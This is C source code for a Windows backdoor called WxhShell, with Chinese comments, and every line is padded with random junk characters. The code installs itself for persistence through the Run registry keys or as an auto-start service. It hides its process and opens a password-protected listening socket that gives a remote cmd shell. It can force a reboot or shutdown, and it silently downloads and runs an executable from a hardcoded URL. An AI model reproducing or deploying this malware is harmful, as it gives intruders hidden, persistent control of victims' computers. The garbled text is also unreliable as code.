  // 关机 zg>)Lq|VsT  
  case 'd': { '>:c:Tewy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CK=TD`$w  
    if(Boot(SHUTDOWN)) UKpc3Jo:~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .+ d.~jHX  
    else { E#zLm  
    closesocket(wsh); eHl)/='  
    ExitThread(0); U_KCN09  
    } p}e1!q;N  
    break; J`[v u4  
    } X/BcS[a  
  // 获取shell wrhGZ=k{  
  case 's': { ^B?brH}  
    CmdShell(wsh); n@te.,?A"  
    closesocket(wsh); mMOjV_  
    ExitThread(0);  DJJd_  
    break; MXa(Oi2Gg  
  } j;yKL-ycB  
  // 退出 p>=i'~lQ6  
  case 'x': { v$)ZoM6E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :B7dxE9[r  
    CloseIt(wsh); L/c`t7  
    break; /6{P ?)]pE  
    } vq` M]1]FO  
  // 离开 +(U;+6 b  
  case 'q': { csjCXT=Ve  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,CxIA^  
    closesocket(wsh); >[0t@Tu,D  
    WSACleanup(); *8Kx y@  
    exit(1); vdaG?+_o  
    break; s9rKXY',:l  
        } M.o H,Kd6  
  } &WKAg:^k)  
  } 8G )O,F7z  
Ud& '*,  
  // 提示信息 *!r"+?0gN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KXf (v4  
} N8KH.P+  
  } -{z<+(K!$  
5V*R  Dh  
  return; hX)PdRk#  
} ^xX1G _{  
N;` jz(r  
// shell模块句柄 ) #l&BV5  
int CmdShell(SOCKET sock) -P:o ^_)g  
{ eA_]%7+`  
STARTUPINFO si; br,xwc  
ZeroMemory(&si,sizeof(si)); mFrDV,V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BZOB\Ym  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lx{ ' bzv  
PROCESS_INFORMATION ProcessInfo; 3|Y2BA d  
char cmdline[]="cmd"; 0dW*].Gi:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -, uT8'  
  return 0; 1c|{<dFm  
} hS'!JAM>Q  
pEp$J;   
// 自身启动模式 0.kC|  
int StartFromService(void) *X /i<  
{ G{74o8  
typedef struct . e_VPKF|  
{ s4`,Z*H  
  DWORD ExitStatus; @]YEOk-  
  DWORD PebBaseAddress; ~%L=<TBAc  
  DWORD AffinityMask; ?mHu eX  
  DWORD BasePriority; 7g>|e  
  ULONG UniqueProcessId; h?Lp9VF  
  ULONG InheritedFromUniqueProcessId; L/?jtF:o  
}   PROCESS_BASIC_INFORMATION; / ?'FSWDU  
zJ30ZY:  
PROCNTQSIP NtQueryInformationProcess; 4MrUo9L$s  
a0&L,7mu<'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * hmoi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *]:J@KGf  
;(@' +"  
  HANDLE             hProcess; az[#q  
  PROCESS_BASIC_INFORMATION pbi; oU|_(p"e|  
7.kgQ"?&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HX{K5+  
  if(NULL == hInst ) return 0; N u3B02D*  
?vP6~$*B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "*LQr~k~}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q 7-ZPX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T3NH8nH9"z  
w<u@L  
  if (!NtQueryInformationProcess) return 0; ?G[=pY:=  
jqlfypU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u7S C_3R  
  if(!hProcess) return 0; <+UJgB A-  
H8kB.D[7Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pQi|PQq  
.I0M'L~!/L  
  CloseHandle(hProcess); mu2|%$C;$  
!l5@L\   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E9\u^"GVO  
if(hProcess==NULL) return 0; >d(:XP6J  
uO>pl37@  
HMODULE hMod; cB)tf S4)  
char procName[255]; pJ JOy  
unsigned long cbNeeded; lNz1|nS(Kd  
Y;"jsK{$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PJT$9f~3;.  
i9|}-5ED  
  CloseHandle(hProcess); L d{`k  
'~VF*i^4  
if(strstr(procName,"services")) return 1; // 以服务启动 rZ&li/Z  
WRrg5&._q  
  return 0; // 注册表启动 hC4 M}(XM  
} `>GXJ~:D["  
JS/~6'uB  
// 主模块 ,Jx.Kj.,  
int StartWxhshell(LPSTR lpCmdLine) Pk;1q?tGw  
{ w"O{@2B3:H  
  SOCKET wsl; ^{YK'60  
BOOL val=TRUE; {v"Y!/ [z  
  int port=0; Jn%Etz-  
  struct sockaddr_in door; e8M0Lz#}  
DVt^O [  
  if(wscfg.ws_autoins) Install(); D`fIw` _  
_>bk'V7  
port=atoi(lpCmdLine); TK0WfWch  
>)HKruSW.  
if(port<=0) port=wscfg.ws_port; 'nS>'yYH#  
T 0qM "  
  WSADATA data; N8DouDq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d@tf+_Ih  
 A"1%E.1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }~p%e2<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _gEojuaN  
  door.sin_family = AF_INET; _U9.u#>sV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z_a@,k:+[  
  door.sin_port = htons(port); /A+5q\8G  
/Ny#+$cfk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7uf5w0]  
closesocket(wsl); 9fWR8iV  
return 1; h8 FV2"  
} wD /jN:  
+-T|ov<  
  if(listen(wsl,2) == INVALID_SOCKET) { j`+{FCB7  
closesocket(wsl); 9Wg;M#c2Y|  
return 1; j'OXT<n*  
} At'M? Q@v  
  Wxhshell(wsl); $3g M P+  
  WSACleanup(); 4|4 *rhwp  
e jR_3K^  
return 0; 2PSkLS&IM  
}=B~n0  
} ,J=lHj  
l;$FR4}d  
// 以NT服务方式启动 =q>lP+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,M:[GuXD<  
{ NV==[$(r  
DWORD   status = 0; Uw| -d[!  
  DWORD   specificError = 0xfffffff; b|*+!v:I>T  
aPRMpY-YC3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; / U!xh3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I`s~.fZt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2`rJr  
  serviceStatus.dwWin32ExitCode     = 0; omznSL  
  serviceStatus.dwServiceSpecificExitCode = 0; 'V8o["P  
  serviceStatus.dwCheckPoint       = 0; 0+[3>Ny 0  
  serviceStatus.dwWaitHint       = 0; `l6OQdB3W  
JDW/Mc1bh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Pu917_P  
  if (hServiceStatusHandle==0) return; ?]aVRmL  
 8hYl73#  
status = GetLastError(); a^\ F9^j  
  if (status!=NO_ERROR) g}IOHE  
{ zl|+YjR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qn~{TZz  
    serviceStatus.dwCheckPoint       = 0; $Ld-lQsL  
    serviceStatus.dwWaitHint       = 0; 2 6 >9$S  
    serviceStatus.dwWin32ExitCode     = status; &gr  T@  
    serviceStatus.dwServiceSpecificExitCode = specificError; p8"C`bCf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cm!|A?-<  
    return; `GlOl-  
  } !? H:?  
!1K.HdK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NJmx(!Xsh  
  serviceStatus.dwCheckPoint       = 0;  E(wS6  
  serviceStatus.dwWaitHint       = 0; H=w6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SrGJ#K&%  
} L,!\PV|  
0d+b<J,  
// 处理NT服务事件,比如:启动、停止 _ nz^+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `gF`Sgz  
{ }x& X vI  
switch(fdwControl) KS1udH^Zc  
{ n2:Uu>/  
case SERVICE_CONTROL_STOP: Y+kuj],h  
  serviceStatus.dwWin32ExitCode = 0; {U@"]{3Qx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,\i,2<hz.  
  serviceStatus.dwCheckPoint   = 0; K9Onjs% U  
  serviceStatus.dwWaitHint     = 0; SL`; `//  
  { .Wr7*J[V.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  !VXy67  
  } +Z-{6C  
  return; }2 \Hg  
case SERVICE_CONTROL_PAUSE: ,% 'r:@'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .JTRFk{W  
  break; }D`ZWTjDay  
case SERVICE_CONTROL_CONTINUE: ,9"du  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4=`1C-v?q  
  break; X$G:3uoN  
case SERVICE_CONTROL_INTERROGATE: r\}?HS06  
  break; etUfdZ  
}; T XT<6(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ic3Szd^4  
} Yakrsi/jV}  
XH0o8\.  
// 标准应用程序主函数 y|i(~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P[$idRS&  
{ P.g./8N`z  
Nq^o8q_  
// 获取操作系统版本  Hyenn  
OsIsNt=GetOsVer(); qx9; "Ut  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c<~DYe;;  
mkPqxzxbrL  
  // 从命令行安装 MiKq|  
  if(strpbrk(lpCmdLine,"iI")) Install(); M= |is*t  
`c|H^*RC  
  // 下载执行文件 m5a'Vs  
if(wscfg.ws_downexe) { B*E"yB\NV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I[gPW7&S@  
  WinExec(wscfg.ws_filenam,SW_HIDE); W voIh4]  
} smn(q)tt  
2yD ?f8P4  
if(!OsIsNt) { DZLEx{cm  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?R4u>AHS@  
HideProc(); 9~2iA,xs  
StartWxhshell(lpCmdLine); @HnahD  
} osmCwM4O  
else '66nqJb*  
  if(StartFromService()) pHye8v4fvi  
  // 以服务方式启动 Cs,Cb2[  
  StartServiceCtrlDispatcher(DispatchTable);  _VM}]A  
else ;49sou  
  // 普通方式启动 h,-i\8gq  
  StartWxhshell(lpCmdLine); #Ye0*`  
p&0 G  
return 0; H;@0L}Nu+}  
} gNZ"Kr o6  
`Fe/=]< $  
bD3d T>(+  
K6)IBV;  
=========================================== I2NMn5>  
[} d39  
9eE FX7  
;PqC *iz  
?5;wPDsK  
^vv 1cft  
" 8Fbt >-N<\  
S$P=;#r  
#include <stdio.h> Tc>g+eS  
#include <string.h> 0,):;O I  
#include <windows.h> jq_4x[  
#include <winsock2.h> jeO`45O  
#include <winsvc.h> 0"N4WH O  
#include <urlmon.h> u-bgk(u  
+afkpvj8  
#pragma comment (lib, "Ws2_32.lib") Sj*W|n\gj  
#pragma comment (lib, "urlmon.lib") M0e&GR8<z>  
kmlO}0  
#define MAX_USER   100 // 最大客户端连接数 u[4h|*'"|  
#define BUF_SOCK   200 // sock buffer `K[r5;QFKf  
#define KEY_BUFF   255 // 输入 buffer x%T^:R  
>HzTaXCR[  
#define REBOOT     0   // 重启 3j[<nBsn.  
#define SHUTDOWN   1   // 关机 /qq*"R  
|%rRALIY  
#define DEF_PORT   5000 // 监听端口 KG96;l@'(  
M\Wg|gpy  
#define REG_LEN     16   // 注册表键长度 rTOex]@N  
#define SVC_LEN     80   // NT服务名长度 (9'q/qgTO  
ZEpu5`  
// 从dll定义API 9"/=D9o9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HCYy9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;NAKU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;<6S\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >}C:EnECy  
1N { >00  
// wxhshell配置信息 h+cOOm-)  
struct WSCFG { VP?Q$?a  
  int ws_port;         // 监听端口 U+(qfa5(  
  char ws_passstr[REG_LEN]; // 口令 &N3a`Ua  
  int ws_autoins;       // 安装标记, 1=yes 0=no k^B7M}  
  char ws_regname[REG_LEN]; // 注册表键名 \q^ dhY>)  
  char ws_svcname[REG_LEN]; // 服务名 4(Y-TFaf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uKJo5%>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EpCNp FQT<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $bBUL C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CSwB+yN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sebuuL.l0<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mZ3Z8q}%P  
&Ot9"Aq:  
}; ,?%o ~  
YluvWHWi  
// default Wxhshell configuration ]D^; Ca  
struct WSCFG wscfg={DEF_PORT, Y[m*  
    "xuhuanlingzhe", 4 'vjU6gW  
    1, N[DKA1Ei  
    "Wxhshell", %+;amRb  
    "Wxhshell", @kba^z  
            "WxhShell Service", Q'j00/K  
    "Wrsky Windows CmdShell Service", &`-e; Xt  
    "Please Input Your Password: ", yV6U<AP$3  
  1, })q8{Qj!  
  "http://www.wrsky.com/wxhshell.exe", /nt%VLms %  
  "Wxhshell.exe" !HW?/-\,O  
    }; O-~cj7 0\  
!NKPy+v  
// 消息定义模块 w2`JFxQ^x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 62[_u]<Yub  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6pZ/C<Y|W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6$csFW3R  
char *msg_ws_ext="\n\rExit."; X&@>M}  
char *msg_ws_end="\n\rQuit."; b=L|GV@$  
char *msg_ws_boot="\n\rReboot..."; n^|7ycB'  
char *msg_ws_poff="\n\rShutdown..."; uhwCC  
char *msg_ws_down="\n\rSave to "; /CbM-jf  
fq):'E)  
char *msg_ws_err="\n\rErr!"; bQu@.'O!k  
char *msg_ws_ok="\n\rOK!"; bZ+H u~  
=}e{U&CX  
char ExeFile[MAX_PATH]; N~(?g7  
int nUser = 0; /de~+I5AB~  
HANDLE handles[MAX_USER];  %Rm`YH?  
int OsIsNt; PA,\o8]x  
[LbCG  
SERVICE_STATUS       serviceStatus; =#%Vs>G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =jU#0FAO  
)M56vyo  
// 函数声明 )Q|sW+AF  
int Install(void); )G#O#Yy  
int Uninstall(void); 3YEw7GIO-  
int DownloadFile(char *sURL, SOCKET wsh); y99|V39'  
int Boot(int flag); Xcg+ SOB  
void HideProc(void); xp\6,Jyh  
int GetOsVer(void); h<!!r  
int Wxhshell(SOCKET wsl); !\\1#:*_W  
void TalkWithClient(void *cs); 3Z%jx#  
int CmdShell(SOCKET sock); WxtB:7J  
int StartFromService(void); RTL@WI  
int StartWxhshell(LPSTR lpCmdLine); WtMDHfwqu\  
d#I; e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8Urj;KkD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S;nlC  
<*ME&c gh4  
// 数据结构和表定义 DM(c :+K-  
SERVICE_TABLE_ENTRY DispatchTable[] = ^X:g C9  
{ sHSg _/|  
{wscfg.ws_svcname, NTServiceMain}, 5hlS2fn  
{NULL, NULL} cNl$ vP83z  
}; -e*(+  
- KaU@t  
// 自我安装 cA!o xti  
int Install(void) ovvg"/>L  
{ 7X.B  
  char svExeFile[MAX_PATH]; V?jot<|$  
  HKEY key; o& ?:pE  
  strcpy(svExeFile,ExeFile); l<s6Uu"  
<VT|R~  
// 如果是win9x系统,修改注册表设为自启动 ]Lm?3$u$  
if(!OsIsNt) { ( D@ U%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qf}}/k|)k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TM,Fab &  
  RegCloseKey(key); g6.Tx]?b$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (.g?|c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GVM)-Dp]  
  RegCloseKey(key); v-B&"XGy:  
  return 0; 1?".R]<{2T  
    } 1X#gHstD  
  } N[xa=  
} NHaqT@:  
else { 2>kk6=<5'  
@dvb%A&Pur  
// 如果是NT以上系统,安装为系统服务 .;;:t0PB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s{0c.M  
if (schSCManager!=0) XILreATK@  
{ M#SGZ~=1r  
  SC_HANDLE schService = CreateService :g)`V4%  
  ( _%PEv{H0.  
  schSCManager, 7qhX `$  
  wscfg.ws_svcname, H\=S_b1wo  
  wscfg.ws_svcdisp, -JXCO <~k  
  SERVICE_ALL_ACCESS, }h9f(ZyJn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wf,w%n  
  SERVICE_AUTO_START, "> Y(0^^  
  SERVICE_ERROR_NORMAL, U)qG]RI  
  svExeFile, ~J|B  
  NULL, KU87WpjX  
  NULL, EN@<z;  
  NULL, e>b|13X  
  NULL, .^[{~#Pc*  
  NULL oP`Qyk  
  ); XWf1c ~J  
  if (schService!=0) 9Cq"Szs  
  { W JG8E7  
  CloseServiceHandle(schService); 0M; aTM  
  CloseServiceHandle(schSCManager); }r ;#|=HR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WC wM+D  
  strcat(svExeFile,wscfg.ws_svcname); V7,;N@FL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Uk0 0lPG.U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,V ) |A=ml  
  RegCloseKey(key); N7dI}ju  
  return 0; kaNK@a=e|/  
    } zd {\XW  
  } C+aL8_(R  
  CloseServiceHandle(schSCManager); s.>;(RiJd  
} =_vW7-H  
} M}N[> ,2'  
3;wOA4ur  
return 1; bA(-7l?  
} @[hD;xO  
~L=? F  
// 自我卸载 w72\'  
int Uninstall(void) k\}\>&Zqu  
{ n4DKLAl  
  HKEY key; aQL$?,  
^7V{nT@H3  
if(!OsIsNt) { M1e79p<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZKoISuM  
  RegDeleteValue(key,wscfg.ws_regname); O|Y~^:ny  
  RegCloseKey(key); _K<Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~)]R  
  RegDeleteValue(key,wscfg.ws_regname); nT/Az g  
  RegCloseKey(key); 78FLy7  
  return 0; M I R))j;  
  } fO 6Jug  
} y"Jma`Vjq  
} h)sQ3B.}A  
else { l]Q<BV  
u=PYm+q{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3mLtnRX[m  
if (schSCManager!=0) ]}>uvl^l  
{ {7LNQGiJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Wd@Qy?;  
  if (schService!=0) 5HW'nhE  
  { <g{d >j  
  if(DeleteService(schService)!=0) { ;hJz'&UWQ  
  CloseServiceHandle(schService); P] qL&_  
  CloseServiceHandle(schSCManager); \CZD.2p#&  
  return 0; NrWgaPO)i  
  } =4:]V\o):'  
  CloseServiceHandle(schService); Q <2 `ek  
  } Zo T8  
  CloseServiceHandle(schSCManager); s=83a{#K  
} )wfqGkr=m!  
} C0 o  
H{VJ S Jc{  
return 1; )]3_o!o  
} ,p9>/)l  
R}HNi(%"  
// 从指定url下载文件 dNT<![X\  
int DownloadFile(char *sURL, SOCKET wsh) W&;,7T8@  
{ H.*aVb$  
  HRESULT hr; +VRM:&  
char seps[]= "/"; 9]PMti  
char *token; 2HF_kYZ  
char *file; Y3?)*kz%  
char myURL[MAX_PATH]; xw~3x*{  
char myFILE[MAX_PATH]; b!c2j   
I9O%/^5^[w  
strcpy(myURL,sURL); T1g3`7C3  
  token=strtok(myURL,seps); lka Wwjv_D  
  while(token!=NULL) cX4I+Mf  
  { )6:1`&6  
    file=token; Gq0`VHAn  
  token=strtok(NULL,seps); ]@hN&W(+x  
  } b+e9Pi*\  
USJk *  
GetCurrentDirectory(MAX_PATH,myFILE); ((mR' A|`  
strcat(myFILE, "\\"); O7# 8g$ZIv  
strcat(myFILE, file); ,V.Bzf%=O  
  send(wsh,myFILE,strlen(myFILE),0); F$te5 ` a  
send(wsh,"...",3,0); 2dJP|T9H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7L$\S[E  
  if(hr==S_OK) \,-e>  
return 0; pMLTXqL  
else .1A/hAdU  
return 1; QpiA~4  
Oe"nNvu/  
} (svKq(X  
'QC'*Hl  
// 系统电源模块 87yZd8+)  
int Boot(int flag) in#lpDa[  
{  r74' _y  
  HANDLE hToken; :fA|J!^b[  
  TOKEN_PRIVILEGES tkp; MWJ}  
e^yfoE<7  
  if(OsIsNt) { b&2 N7%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _Z_R\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j kV9$W0  
    tkp.PrivilegeCount = 1; I T?~`vi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; );=0cnr3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7,"y!\  
if(flag==REBOOT) { lAJ P X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jAak,[~;  
  return 0; *IWWD\U  
} 1w'W)x  
else { 6\vaR#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yz^4TqJ  
  return 0; *~Sv\L  
} 0t2n7Y?N  
  } ^50\c$  
  else { AS/z1M_U  
if(flag==REBOOT) { g<g$c<sm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =+w!fy  
  return 0; (Q}ByX  
} usR+ZQaA  
else { c;.jo?RR2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "2z&9`VIY  
  return 0; a7n`(}?Y  
} 7[ZoUWx  
} vE&K!k`  
t_w2J=2  
return 1; dQ=L<{(  
} (CInt_dBw~  
V)A7q9Bum  
// win9x进程隐藏模块 xv~Sk2Z+d  
void HideProc(void) rr]-$]Q  
{ p9![8VU  
cyBm,!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lx:.9>  
  if ( hKernel != NULL ) -S7i':  
  { O'h f8w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dF$&fo%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;e0-FF+  
    FreeLibrary(hKernel); & X#6jTh+  
  } r7-H`%.  
}h1y^fuGi  
return; uSUog+i  
} C2H2*"  
W#kd[Wi  
// 获取操作系统版本 <RuLIu  
int GetOsVer(void) {'sp8:$a  
{ %\T#Ik~3  
  OSVERSIONINFO winfo; m\G45%m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *R3^:Y&  
  GetVersionEx(&winfo); 1|:'jK#gE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /<1zzeHRSD  
  return 1; +h@ZnFp3  
  else oc;4;A-;`c  
  return 0; DO6 pv  
} 17#t7Yk  
Jk;dtLL}4  
// 客户端句柄模块 QXEz  
int Wxhshell(SOCKET wsl) Y2[ik<  
{ c!N#nt_<  
  SOCKET wsh; 7n]ukqZ  
  struct sockaddr_in client; QY c/f"9  
  DWORD myID; B*:W`}G]_c  
9Y+7o%6e  
  while(nUser<MAX_USER) '0v]?mM  
{ iLQ;`/j  
  int nSize=sizeof(client); -?w3j9kk>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |f1RhB  
  if(wsh==INVALID_SOCKET) return 1; i?861Hu  
%LBf'iA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }kSP p  
if(handles[nUser]==0) ndu$N$7+  
  closesocket(wsh); b8**M'k  
else %E[ $np>  
  nUser++; 8ib e#jlg  
  } |? rO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ce:wF#Qs  
>Se-5QtLcf  
  return 0; Kx02 2rgDU  
} /0b7"Kr  
j\iNag(   
// 关闭 socket ySHpN>U  
void CloseIt(SOCKET wsh) ^O<@I  
{ Y>x3`f]  
closesocket(wsh); a]!u go}  
nUser--; eOahr:Db  
ExitThread(0); 1BSn#Dnj  
} Q-J} :U  
Q5]rc`} 5  
// 客户端请求句柄 6Ev+!!znu  
void TalkWithClient(void *cs) ]e$n;tuW  
{ F`>qg2wO  
`4wy *!]  
  SOCKET wsh=(SOCKET)cs; 0-p %.}GE  
  char pwd[SVC_LEN]; 5t|$Yt[  
  char cmd[KEY_BUFF]; Q)\[wYMt  
char chr[1]; h{ZK;(u$  
int i,j; r,q.RWuII  
!LCy:>i!d  
  while (nUser < MAX_USER) { A4 /gVi|  
'p)DJUwt  
if(wscfg.ws_passstr) { ~5>TMIDiuR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bnN&E?{hF1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W9]0X  
  //ZeroMemory(pwd,KEY_BUFF); *0m|`- T  
      i=0; q#K0EAgC  
  while(i<SVC_LEN) { mR$0Ij/v  
O"1HO[  
  // 设置超时 S[{,+{b0  
  fd_set FdRead; qB+OxyT&  
  struct timeval TimeOut;  Q.Y6  
  FD_ZERO(&FdRead); w$j6!z  
  FD_SET(wsh,&FdRead); _&[-< cu  
  TimeOut.tv_sec=8; %qEp{itq  
  TimeOut.tv_usec=0; r{f$n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Se2@WR'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (:R5"|]@<x  
PmQeO*f+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5sSAH  
  pwd=chr[0]; _o&NbDH  
  if(chr[0]==0xd || chr[0]==0xa) { lT~WP)  
  pwd=0; 0}M'>  
  break; EyHL&  
  } jI~$iDdOfs  
  i++; ]2{]TJ @B  
    } ?Zb3M  
T8^l}Y B  
  // 如果是非法用户,关闭 socket ErFt5%FN.O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {kvxz  
} }?MbU6"  
kx;7/fH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q_dMuoI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HkY#i;%N  
i-. AD4  
while(1) { 2b Fr8FUt-  
x4,[5N"}YK  
  ZeroMemory(cmd,KEY_BUFF); g ;X K3R  
3GrIHiC r  
      // 自动支持客户端 telnet标准   (B%[NC 6  
  j=0; {XV 'C @B  
  while(j<KEY_BUFF) { !_oR/)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uX%$3k  
  cmd[j]=chr[0]; . BX*C  
  if(chr[0]==0xa || chr[0]==0xd) { TaF;P GjVw  
  cmd[j]=0;  QB !%  
  break; <U8w#dc  
  } 2*] [M,L0c  
  j++; a'd=szt  
    } iiWpm E<,  
UID`3X  
  // 下载文件 24wr=5p]Q  
  if(strstr(cmd,"http://")) { QZ[S, c^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KOoV'YSC[(  
  if(DownloadFile(cmd,wsh)) 8idIJm%y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @LSX@V   
  else u|k_OUTq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (W}DMcuSd  
